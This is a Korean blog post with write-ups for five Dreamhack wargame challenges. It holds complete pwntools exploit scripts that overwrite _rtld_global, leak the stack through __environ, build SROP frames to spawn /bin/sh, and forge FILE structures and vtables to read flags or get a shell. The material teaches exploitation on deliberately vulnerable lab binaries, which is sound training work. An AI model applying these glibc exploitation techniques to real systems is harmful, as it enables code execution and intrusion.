System Hacking

write-up

burrri 2024. 3. 30. 23:22

1. overwrite_rtld_global

https://dreamhack.io/wargame/challenges/360
checksec

 

- amd64-64 

- FULL RELRO, canary 적용, NX적용, PIE 적용 

=> 모든 보호기법이 걸려있다..

 

- 코드 분석 

#include <stdio.h>
#include <stdlib.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  long addr;
  long data;
  int idx;

  init();
 
  // 표준 출력 스트림 stdout의 주소(포인터) 출력 
  printf("stdout: %p\n", stdout);
  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("addr: ");
        scanf("%ld", &addr);
        printf("data: ");
        scanf("%ld", &data);
        // addr의 주소에 data를 삽입 => 취약점
        *(long long *)addr = data;
        break;
      default:
      	return 0;
    }
  }
  return 0;
}

 

- 시나리오

1. library 및 loader 베이스 주소 계산

stdout의 주소 출력 -> libc의 베이스 주소 확인 가능 

"/lib64/ld-linux-x86-64.so.2"  > 맵핑된 로더의 베이스 주소 확인 가능 

 

! 라이브러리와 매핑된 주소의 간격은 일정! -> 디버깅을 통해 알아보자.

 

2. _rtld_global 구조체 계산

로더의 베이스 주소 + rtld_global 구조체의 심볼 offset => _rtld_global의 주소 !

구조체의 주소 -> 멤버 변수 _dl_load_lock, _dl_rtld_lock_recursive 함수 포인터의 주소 !

 

3. _rtld_global 구조체 조작

( 조작하고자 하는 original 부분 : 프로그램 종료 과정 )

_rtld_global 구조체의 _dl_load_lock을 인자로 _dl_rtld_lock_recursive 함수 포인터 호출! 

 

-> 이 과정에서 인자 _dl_load_lock을 셸 또는 "sh"문자열로 삽입 &&  실행 함수 _dl_rtld_lock_recursive를 system함수로 ow 

==> shell 획득 

 

 

Exploit 과정

첨부된 파일(ld-2.27.so) 과 실습 환경 (ld-linux-x86-어쩌구) 가 다르면 _rtld_global오프셋도 다르기에 

patchelf을 활용하여 우리가 사용하고자하는 로더를 ld.so에 패치하자

 

vmmap을 통해서 내가 설정하고자하는 로더로 잘 패치된 것을 확인할 수 있다.

 

1. library 및 loader 베이스 주소 계산

e.symbol [IO_2_1_stdout]을 이용 -> stdout - e.symbol => 라이브러리의 베이스(libc-2.27.so) 주소

디버깅 -> 로더 (ld-2.27.so) 와 라이브러리 베이스의 offset 간극 확인

=> ld_base addr 확인 

 

from pwn import *

p = remote('host3.dreamhack.games',10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

p. recvuntil(b': ')
# stdout 주소 겟
stdout= int(p.recvuntil(b'\n'),16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000

print('libc base', hex(libc_base))
print('ld base', hex(ld_base))
p.interactive()

 

2. _rtld_global 구조체 계산

ㄴ 2.1 디버깅 심볼 다운로드

 디버깅 심볼 : _rtld_global 구조체 이름 뿐 아니라 내부 멤버 변수 정보 포함 

 -> libc, ld의 Glibc 버전에 맞춰 상응하는 디버깅 심볼이 필요!

 

ㄴ 2.2 _rtld_global의 멤버 변수 offset 얻기

다운 받은 usr/lib/debug/lib/x86_64-linux-gnu/ld-2.27.so 파일 내에서 

_rtld_global 구조체의 멤버 변수 _dl_load_lock과 멤버 변수 _dl_rtld_lock_recursive offset을 gdb를 통해 얻자

 

ㄴ2.3 주소 계산

ld 주소 + 각각의 offset 더하면 _dl_load_lock , _dl_rtld_lock_recursive의 오프셋 겟 ㅎㅎ

# 위에 이어서 추가

rtld_global = ld_base + ld.symbols['_rtld_global']

# 각각의 offset을 더하여 addr 획득 
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))
p.interactive()

 

 

3. _rtld_global 구조체 조작

#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')

# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')

# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()

 

 

Exploit code

from pwn import *
p = remote('host3.dreamhack.games', 10613)
libc = ELF('./libc-2.27.so')
ld = ELF('./ld-2.27.so')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'), 16)
libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
ld_base = libc_base + 0x3f1000
print('libc_base..', hex(libc_base))
print('ld_base..', hex(ld_base))

rtld_global = ld_base + ld.symbols['_rtld_global']

# 각각의 offset을 더하여 addr 획득 
dl_load_lock = rtld_global + 2312
dl_rtld_lock_recursive = rtld_global + 3840
print('rtld_global..', hex(rtld_global))
print('dl_load_lock..', hex(dl_load_lock))
print('dl_rtld_lock_recursive..', hex(dl_rtld_lock_recursive))

#system 주소따옴
system = libc_base + libc.symbols['system']
print('system..', hex(system))
p.sendlineafter(b'> ', b'1')

# 인자부분 -> /bin/sh\x00
p.sendlineafter(b'addr: ', str(dl_load_lock).encode())
p.sendlineafter(b'data: ', str(u64('/bin/sh\x00')).encode())
p.sendlineafter(b'> ', b'1')

# 함수 부분에 system overwrite
p.sendlineafter(b'addr: ', str(dl_rtld_lock_recursive).encode())
p.sendlineafter(b'data: ', str(system).encode())
p.sendlineafter(b'> ', b'2')
p.interactive()

 

 

2. __environ

https://dreamhack.io/wargame/challenges/363/

 

checksec

- amd64-64

- full RELRO, canary, nx, pie 싹 다 적용

 

코드

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];
  //flag 파일에 접근
  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();
  // stdout 주소 노출
  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        // 임의 주소 읽기 취약점
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

 

시나리오

1. __environ 주소 계산

   stdout 포인터 주소 >> libc  주소 >> __environ 포인터 주소

 

2. stack 주소 계산

   "./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산

 

3. 파일 내용 read

   임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력 

 

Exploit

1. __environ 주소 계산

  이전의 linux library :: _rtld 의 실습과 동일하다. 

from pwn import *

p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']

print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))

p.interactive()

 

2. stack 주소 계산

   "./flag" 파일의 내용이 저장된 stack 버퍼 주소 계산

임의 주소 읽기 취약점을 통해 해당 스택 버퍼 출력 

: read_file의 함수 읽기 부분에서 읽어올 함수 인자 확인하면 파일의 내용은 rcx 레지스터에 저장됨!

-> 해당 주소에 파일의 내용이 저장될 스택 버퍼 주소 :: rcx 확인

read_file +93

해당 지점에 bp걸고 r하여 rcx값 알아내고 

{p/x __environ} - {x/gx $rcx} 값 을 구하면 0x1568임을 알 수 있다.

 

 

3. 파일 내용 read

두 주소의 간격을 알아냈음으로 1번에서 알아낸 _environ addr에서 0x1568을 빼면 stack위치 알 수있다.

이를 임의 주소읽기 취약점을 통해서 알아내보자.

# ++

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환 
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))

file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()

   

 

Exploit code

from pwn import *

p = remote("host3.dreamhack.games", 8306)
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(b': ')
stdout = int(p.recvuntil(b'\n'),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['_environ']

print('libc_base: ', hex(libc_base))
print('libc_environ: ', hex(libc_environ))

# ++

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(libc_environ).encode())
p.recv(1)
# 받은 값을 8바이트로 패딩 후, 64비트로 변환 
stack_environ = u64(p.recv(6).ljust(8, b'\x00'))

file_content = stack_environ - 0x1568
print('stack_environ..', hex(stack_environ))

p.sendlineafter(b'>', b'1')
p.sendlineafter(b':', str(file_content).encode())
p.interactive()

 

3. srop

https://dreamhack.io/wargame/challenges/364/

 

- amd64-64 (64bit)

- Partial RELRO , NX 적용

- PIE, canary 미적용 

 

 

- 소스코드 분석

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"   // 시스템 콜!
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

 

- 시나리오

1. sigreturn 호출

gadget함수 addr를 구하여 syscall 번호를 조작하여 syscall 명령어 실행 >> sigreturn 호출 (syscall num : 15)

 

2. execve 호출 

sigreturn은 스택 영역의 값을 레지스터로 복사하므로,

1024 바이트값의 입력 시, sigcontext 구조체에 따라 execve 시스템 콜을 호출하기 위한 인자를 조작 설정

( execve :: 현재 실행 중인 프로세스를 다른 프로세스로 대체 )

 

 

- Exploit 

1. sigreturn 호출

bof를 이용하여 RIP 를 가젯의 주소로 조작 / rax를 15로 조작 >> 

from pwn import *

context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')

# 해당 명령어 검색 => 발견된 주소를 gadget에 저장
gadget = next(elf.search(asm('pop rax; syscall')))
print('gadget..', hex(gadget))

# bof
payload = b'A'*16 #buf
payload += b'B'*8 #rbp
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += b'\x00'*40 # dummy
payload += p64(0x4141414141414141)*20 # stack 채우기

print('press enter to continue')
pause() # 스크립트 일시 정지 >> 타 셸에서 현재에 attach하여 디버깅 가능
p.sendline(payload)
p.interactive()

 

2. execve 호출

sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값 삽입

>> pwntools에서 제공하는 SigreturnFrame 클래스를 이용하여 exploit 작성

 

(사용예)

 

SROP

:: read 시스템 콜 호출 >> bss 영역에 0x1000 바이트 입력

 >> 다시 리턴 주소를 조작하여 execve("/bin/sh",0,0) 실행

 

 

- Exploit code

from pwn import *

context.arch = 'x86_64'
p = remote('host3.dreamhack.games',16195)
elf = ELF('./srop')
gadget = next(elf.search(asm('pop rax; syscall')))
syscall = next(elf.search(asm('syscall')))
read_got = elf.got['read']
binsh = '/bin/sh\x00'
bss = elf.bss()
frame = SigreturnFrame() #구조체 이용 

# read(0, bss, 0x1000) <-시그널 핸들러 frame 설정 
frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b'A'*16
payload += b'B'*8
payload += p64(gadget) # gadget주소
payload += p64(15) # sigreturn : syscall 번호 15
payload += bytes(frame)
p.sendline(payload)


# execve('/bin/sh', 0, 0) : 시스템 콜 호출
frame2 = SigreturnFrame() #두번째 핸들러 frame 생성 
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500  #bss초반 이후의 아무개 부분
frame2.rdi = bss + 0x108
rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b'/bin/sh\x00'


p.sendline(rop)
p.interactive()

 

 

4. Bypass IO_validate_vtable

https://dreamhack.io/wargame/challenges/365

- amd64-64

- partial RELRO, nx 적용

- canary, pie 미적용 

 

- 주요 소스코드

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
    FILE *fp;
    // flag파일을 읽고 flag_buf에 저장 
    fp = fopen("/home/iofile_aar/flag", "r");
    fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
    fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  // flag내용을 flag_buf에 저장 
  read_flag();
  
  // testfile을 쓰기모드로 오픈
  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");
  // 300만큼 fp에 읽어와서 저장 후 
  read(0, fp, 300);
  
  // "test file!"문자열을 testfile에 write (flag_buz사이즈만큼..) 
  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}

 

 

- 시나리오

목표 : fwrite에서 참조하는 파일 구조체를 조작하여 read_flag함수의 flag_buf 내용 획득 

1. 파일 구조체 조작

(기본 세팅)_flags변수를 매직 넘버 (0x fbad 0000), _IO_CURRENTLY_PUTTING(0x 800)을 포함한 값으로 변경 >> 

임의 주소 (read_flag())의 값을 읽기 위해

_IO_write_ptr >> flag_buf + 1024

_IO_write_base >> flag_buf 로 조작 

 

fwrite를 변경 >> fileno (파일 디스크립터) 를 stdout을 나타내는 1 조작 

write (f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

 

- Exploit code

from pwn import *
p = remote('host3.dreamhack.games',16897)
elf = ELF('./iofile_aar')

flag_buf = elf.symbols['flag_buf'] 
# _IO_IS_APPENDING (없으면 기존의 data문자열이 쓰여짐)
payload = p64(0xfbad0000 | 0x800) # magic num | _IO_CURRENTLY_PUTTING
payload += p64(0) # _IO_read_ptr
payload += p64(flag_buf) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(flag_buf) # _IO_write_base
payload += p64(flag_buf + 1024) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64(0) # _IO_buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(1) # _fileno : stdout로 변경 
p.sendlineafter(b'Data: ', payload)
p.interactive()

 

 

 

5. iofile_vtable

https://dreamhack.io/wargame/challenges/56

-amd64-64

-partial RELRO, NX 적용

- canary, pie 미적용 

 

- 코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                // 임의 입력 >> stderr+1 의 위치에 8바이트만큼 저장 
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

 

- 시나리오 

 

stderr+1의 위치를 보니 다음과 같다. 

디버깅 과정을 통해서 stderr+1 의 위치는 _IO_file_jumps (vtable)의 주소임을 확인하였다.

get_shell : 0x40094a

read함수는 자신의 구조체 내의 _vtable_offset +_IO_file_jumps으로 필요한 함수를 참조한다.

fprint함수는 내부에서 _IO_new_file_xsputs 함수를 호출 >> 0x38 offset 위치의 _vtable호출하므로 

 

name 에 get_shell 주소 / read함수에서 name_addr-0x38 시에 변조 가능하다. 

 

- Exploit code

from pwn import *

p = remote('host3.dreamhack.games', 10285)


get_shell_addr = 0x40094a
name_addr = 0x00000000006010d0

p.recvuntil("what is your name: ")
p.sendline(p64(get_shell_addr))

p.recvuntil('> ')
p.sendline("2")

p.recvuntil('> ')
p.sendline("4")

p.recvuntil('change: ')
p.sendline(p64(name_addr- 0x38))

p.interactive()

'System Hacking' 카테고리의 다른 글

ptmalloc2 allocator | Heap Allocator Exploit  (0) 2024.05.11
_IO_FILE  (0) 2024.03.30
SigReturn-Oriented Programming  (0) 2024.03.30
linux library exploit :: __environ  (1) 2024.03.29
linux library exploit :: _rtld_global  (0) 2024.03.28